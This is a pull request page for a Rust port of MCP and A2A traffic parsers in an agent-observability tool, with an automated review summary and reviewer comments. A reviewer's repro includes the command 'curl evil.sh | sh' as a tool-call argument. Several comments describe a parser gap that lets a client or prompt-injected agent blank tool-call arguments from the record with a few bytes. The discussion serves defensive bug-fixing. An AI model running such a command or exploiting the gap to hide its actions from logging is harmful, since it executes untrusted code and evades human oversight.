[huang195]

Summary

This PR ports core/parse/mcp and core/parse/a2a to Rust. Each port has its own parity gate. Praxis-mode rows now carry the mcp and a2a extensions. This is step 6 of 8 in #1714.

Fixes #1724

What changed

• praxis/filters/src/parse/model.rs: the MCP and A2A extension types. They match core/model/extensions.go, with the same omitempty rules.
• praxis/filters/src/parse/jsonrpc.rs: the shared JSON-RPC body sniff and decode. It ports parsercommon.
• praxis/filters/src/parse/mcp/: parse_request, parse_response and an observer. The observer ports OnRequest and OnResponseFrame in core/plugins/mcpparser/hooks.go. The path matcher is fixed to the Go default /mcp (comment shortcut: in the code).
• praxis/filters/src/parse/a2a/: the same for A2A, with a port of the Go marshal and of the capped part text.
• praxis/filters/src/record/row.rs: Exchange runs the inference, MCP and A2A observers. The request row and the response row carry mcp and a2a, as direct mode does.
• praxis/filters/Cargo.toml: turns on the serde_json float_roundtrip feature. Reviewers, note: the plan does not name this change. Without it, the A2A vector 123456789012345680000 does not round-trip. Cargo unifies features across the workspace, so the change applies to every serde_json number parse in praxis/: the inference parser's gojson::any, the cortex-gateway crate, and config and test decodes. The parse is a little slower. parity.rs and row_parity.rs still pass.
• No Go code changes. No Go expected.json changes.

How it was tested

• New parity tests tests/mcp_parity.rs (11 cases) and tests/a2a_parity.rs (13 cases). They read the Turn the MCP, A2A and inference parsers into libraries, with saved real-traffic test cases #1503 fixtures under core/plugins/{mcpparser,a2aparser}/testdata/ and compare with the Go expected.json.
• New unit tests in each module, and new row tests in record/row.rs. The row tests compare numbers with a local as_f64 helper, not with tests/common::same as the plan says: lib tests cannot use tests/common. The result is the same (both compare as f64).
• Gate on HEAD 91d096e, all pass: cargo fmt --check, cargo clippy -D warnings, cargo test --locked in praxis/, and the Go mcpparser and a2aparser Fixtures tests.
• Note on the environment: run the gate with ~/.cargo/bin first in PATH. A Homebrew cargo ignores rust-toolchain.toml, uses rustc 1.94.1 and fails with "requires rustc 1.96".

Size

• Counted: 1714 lines (1663 added, 51 removed).
• Exempt: 290 lines, the plan document docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md.

Review findings not fixed

All are minor.

• parse/model.rs: rpc_id (MCP and A2A) and McpError.data use skip_serializing_if = "Option::is_none". Some(Value::Null) gives "rpcId":null, but Go omits a nil any. The decode cannot make this value today (gojson::any maps null to None). No test pins it.
• parse/mcp/mod.rs decode_response_into: no test covers a second result object that merges into the first (or a second error through ptr_into). The code matches Go.
• No deliberate-failure run proved that mcp_parity catches a mismatch. It reuses common::same, which parity.rs already exercises, and it asserts at least 11 cases.
• parse/a2a/mod.rs append_capped writes one U+FFFD for each byte of a cut rune. The plan says String::from_utf8_lossy (one U+FFFD for each sequence). The code matches Go; the plan text is wrong. append_capped_cut_rune_is_replaced pins it.
• When a duplicate key holds an array (for example two parts keys), parts_into and gojson::slice replace the Vec. Go decodes into the old elements. No fixture covers this. The inference port has the same gap.
• A2aObserver::extension in parse/a2a/observer.rs has no doc comment.
• record/row.rs: no row test feeds a buffered (non-SSE) MCP or A2A response through Observers::frame. The parity tests cover the same observer calls.
• record/row.rs fixture_at: unwrap_or_else(|_| "Content-Type: text/event-stream") hides every read error, also for the inference fixture. A check for NotFound only would be stricter.
• gojson::any (parse/inference/gojson.rs): a value nested deeper than 128 levels gives None, where Go keeps it (limit 10000). Under a top-level param, that makes the whole param null on the row: a client can hide tools/call arguments, an MCP result or an A2A params.message with about 260 bytes. The fix needs a non-recursive Value (deep drops overflow the stack).
• parse/mcp/mod.rs is_mcp_path: Go matches the percent-decoded path, so a bodyless GET /%6Dcp is $transport/stream in Go and is not claimed here.
• record/row.rs Exchange::on_request_body: the inference, MCP and A2A observers each decode a compressed request body. One decode for all three would remove up to two extra decodes of 64 MiB.
• praxis/README.md: the changed first bullet line is longer than the wrap width of the lines around it.

Assisted-By: Claude (Anthropic AI) noreply@anthropic.com

Summary by CodeRabbit

• New Features
  • Praxis mode now recognizes MCP and A2A requests and responses, including streaming responses, and includes their parsed details in event rows.
  • MCP and A2A response details include relevant results, errors, task or session information, and message content.
• Documentation
  • Updated workspace and parity-testing documentation to cover MCP and A2A parsing.
• Tests
  • Added parser parity checks for buffered and streaming inputs, including varied chunk sizes and line endings.

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Walkthrough

The Praxis Rust parser workspace adds MCP and A2A parsing, shared JSON-RPC helpers, and row integration. It adds Go-compatible parsing and serialization behavior, plus fixture-parity tests for buffered and streamed responses.

Changes: MCP and A2A parser ports

Layer / File(s)	Summary
Shared JSON-RPC decoding and extension models praxis/filters/src/parse/model.rs, praxis/filters/src/parse/jsonrpc.rs, praxis/filters/src/parse/mod.rs, praxis/filters/src/parse/inference/mod.rs, praxis/filters/Cargo.toml, docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md	Adds MCP and A2A extension models and shared JSON-RPC request and SSE payload helpers. Serialization and field-path tests cover the new models.
MCP request and response parsing praxis/filters/src/parse/mcp/*, docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md	Adds MCP method and path recognition, bodyless transport request handling, JSON and SSE response parsing, and an observer that processes frames until it has a result or error.
A2A request and response parsing praxis/filters/src/parse/a2a/*, praxis/filters/Cargo.toml, docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md	Adds A2A request-part conversion, response and SSE extraction, session handling, artifact text limits, Go-compatible JSON marshaling, and an observer for response frames.
Row integration and fixture parity praxis/filters/src/record/line.rs, praxis/filters/src/record/row.rs, praxis/filters/tests/*parity.rs, praxis/filters/tests/common/mod.rs, praxis/README.md, docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md	Exchange processing initializes the three parser observers and dispatches response frames to them. Request and response rows include MCP and A2A extensions. New parity tests compare Rust output with Go fixtures across buffered and streamed input variants.

Estimated code review effort: 4 (Complex) | ~60 minutes

Change: Feature

Sequence Diagram(s)

sequenceDiagram
  participant Exchange
  participant McpObserver
  participant A2aObserver
  participant EventRow
  Exchange->>McpObserver: on_request(method, path, headers, body)
  Exchange->>A2aObserver: on_request(headers, body)
  loop Response frames
    Exchange->>McpObserver: on_response_frame(frame, last)
    McpObserver->>McpObserver: parse_response(frame, extension)
    Exchange->>A2aObserver: on_response_frame(frame, last)
    A2aObserver->>A2aObserver: parse_response(frame, extension)
  end
  Exchange->>EventRow: attach request or response extensions

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Possibly related issues

• Tracker: Move the laptop data plane to Praxis when the upstream gaps close #1714: The issue describes the Praxis migration step that includes the MCP and A2A parser ports.
• epic: Cortex v0.9.0 — stable local tool for coding agents #962: The issue’s observability requirement for MCP and A2A traffic relates to the parsed extensions added to Praxis rows.

Possibly related PRs

• rossoctl/cortex#1741: Establishes the Praxis Rust workspace and inference parser that this change extends.
• rossoctl/cortex#1684: Adds Go MCP and A2A parser behavior and fixtures used as the basis for Rust parity tests.

Suggested reviewers: clawgenti, rubambiza

Merge Risk: Minimal · previous review 91d09

This change adds MCP and A2A parsing to Praxis rows. Request-body handling does some redundant decoding work, which is a non-blocking efficiency improvement. No merge-blocking issue was found.

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Linked Issues check		Issue #1724 requires MCP and A2A parser ports with separate parity gates, and requires every #1503 fixture to match Go event JSON. The new parity tests discover and iterate through the fixture cases, …
Out of Scope Changes check		The parser modules, JSON-RPC helpers, extension models, row integration, and parity tests directly implement issue #1724. The float_roundtrip feature supports Go-compatible number parity, including …
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Issue #1724 requires MCP and A2A parser ports with separate parity gates, and requires every #1503 fixture to match Go event JSON. The new parity tests discover and iterate through the fixture cases, compare each Rust observer result with its Go expected.json, and test buffered input plus chunked and CRLF SSE variants where applicable. The tests enforce minimum counts of 11 MCP cases and 13 A2A cases. record/row.rs also integrates both observers and adds row tests for their extensions. The reported parser edge cases do not establish a failure of the stated fixture-parity criterion.

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The parser modules, JSON-RPC helpers, extension models, row integration, and parity tests directly implement issue #1724. The float_roundtrip feature supports Go-compatible number parity, including the reported A2A vector. README and plan changes document this parser-port work. No demonstrated change lacks a connection to the issue.

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Nitpick comments: 1

praxis/filters/src/record/row.rs: 1

319-328: Trivial · Performance & Scalability · Heavy lift

Decode the request body once for all three observers.

For a zstd request, MCP and A2A each decompress the body. An inference endpoint can decompress it a third time. Each attempt can read up to 64 MiB plus one byte.

Decode once in Exchange::on_request_body and pass the decoded bytes to the observers, while retaining the raw body for capture. Public parse_request functions can keep their signatures and wrap decoded-body variants.

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Review comment at @praxis/filters/src/record/row.rs around lines 319 - 328:
Update Exchange::on_request_body to decode the request body once and provide the
decoded bytes to InferenceObserver, McpObserver, and A2aObserver, while
retaining the raw body for capture. Preserve the public parse_request signatures
by routing them through decoded-body variants.

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Review comments at @praxis/filters/src/record/row.rs:
- Around line 319-328: Update Exchange::on_request_body to decode the request
body once and provide the decoded bytes to InferenceObserver, McpObserver, and
A2aObserver, while retaining the raw body for capture. Preserve the public
parse_request signatures by routing them through decoded-body variants.

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• docs/superpowers/plans/2026-11-10-praxis-mode-6-mcp-and-a2a-parsers.md
• praxis/README.md
• praxis/filters/Cargo.toml
• praxis/filters/src/parse/a2a/marshal.rs
• praxis/filters/src/parse/a2a/mod.rs
• praxis/filters/src/parse/a2a/observer.rs
• praxis/filters/src/parse/inference/mod.rs
• praxis/filters/src/parse/jsonrpc.rs
• praxis/filters/src/parse/mcp/mod.rs
• praxis/filters/src/parse/mcp/observer.rs
• praxis/filters/src/parse/mod.rs
• praxis/filters/src/parse/model.rs
• praxis/filters/src/record/line.rs
• praxis/filters/src/record/row.rs
• praxis/filters/tests/a2a_parity.rs
• praxis/filters/tests/common/mod.rs
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Summary

This is a careful port. I found no blocking issues. On top of the in-tree gate, I ran a differential harness on ~100 hand-made edge cases through Go mcp.ParseRequest/ParseResponse and a2a.ParseRequest/ParseResponse and through the Rust observers. It covered duplicate keys, case-folded keys, null merges, out-of-range numbers, code: 1.5, BOM/CR SSE, -0, 1e21/5e-324 in data parts, the 64 KiB artifact cap with a cut rune, invalid UTF-8, and depth 9999/10001. Every case matched except the known gojson::any shortcut (inline comment 1). I also put real cortex-gateway lines (MCP JSON/SSE/gzip-SSE, A2A send/stream, bodyless GET/DELETE /mcp) through Go decodeIngestLine. They all decode, and mcp/a2a come through intact, so the new Event fields do not break the ingest parse.

Two suggestions and one nit are inline. None of them blocks the merge.

You asked about the bodyless MCP request in the "not fixed" list. I checked it end to end: with Praxis 0.8.0, GET /mcp and DELETE /mcp + Mcp-Session-Id reach on_request_body with end-of-stream. Both rows carry $transport/stream / $transport/terminate. The row does not go through deferred(). The #![allow(dead_code)] in jsonrpc.rs is also gone.

Author: huang195 (MEMBER — maintainer)
Areas reviewed: Rust (praxis/filters parsers, record rows, parity tests), Cargo features, Docs, Go ingest compatibility
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Commits: 6 commits, all signed-off: yes
CI status: passing (CodeRabbit pending). Locally on 91d096e: cargo fmt --check, cargo clippy --all-targets -D warnings, cargo test --locked -p cortex-praxis-filters all pass.

[clawgenti]

suggestion (should-fix, follow-up is fine): The gojson::any shortcut already existed, but here it hits much more. The fallback applies to a whole top-level param, so one lone surrogate escape (or nesting > 128) anywhere under params.arguments blanks the entire arguments subtree on the row. Go keeps it, with U+FFFD. Repro, Go vs Rust observers:

req:  {"id":7,"method":"tools/call","params":{"name":"shell","arguments":{"cmd":"curl evil.sh | sh","pad":"\ud800"}}}
Go:   "params":{"arguments":{"cmd":"curl evil.sh | sh","pad":"\ufffd"},"name":"shell"}
Rust: "params":{"arguments":null,"name":"shell"}

It is worse for A2A. params.message becomes null, so role, messageId, taskId, the message.contextId session fallback and all parts are lost. The row keeps only method. The same happens to the MCP result at mcp/mod.rs:181.

For inference this was a corner case. Here it means a client (or a prompt-injected agent) can hide a tools/call's arguments from the record with six bytes. Possible fix: build the Value from the gojson walkers you already have (object/slice/string → unquote already writes U+FFFD as Go does), with an explicit depth counter for Go's 10000 limit. That fixes both gaps and keeps the strict path. If that does not fit this PR, please open a tracking issue and add a call-site comment that names the impact on arguments/message.

[clawgenti]

suggestion: I confirmed with a scratch test in server/tests/gateway.rs that bodyless GET /mcp and DELETE /mcp + Mcp-Session-Id give $transport/stream / $transport/terminate on both rows. Praxis 0.8.0 calls on_request_body(end_of_stream) for an empty body. That is Praxis behavior, not ours, so a Praxis bump could silently turn these rows into deferred() rows with no mcp. A ~15-line gateway test (send GET /mcp with the token, i.take(2), assert event.mcp.method == "$transport/stream" on both) would pin it.

[clawgenti]

nit: Go matches pctx.Path, which is r.URL.Path (percent-decoded). Here we match the raw request target. So a bodyless GET /%6Dcp is $transport/stream in Go and unclaimed in Rust. This is a small gap, but it would be worth a mention in the shortcut: comment (or a percent-decode before go_path_clean) when path.Match gets ported.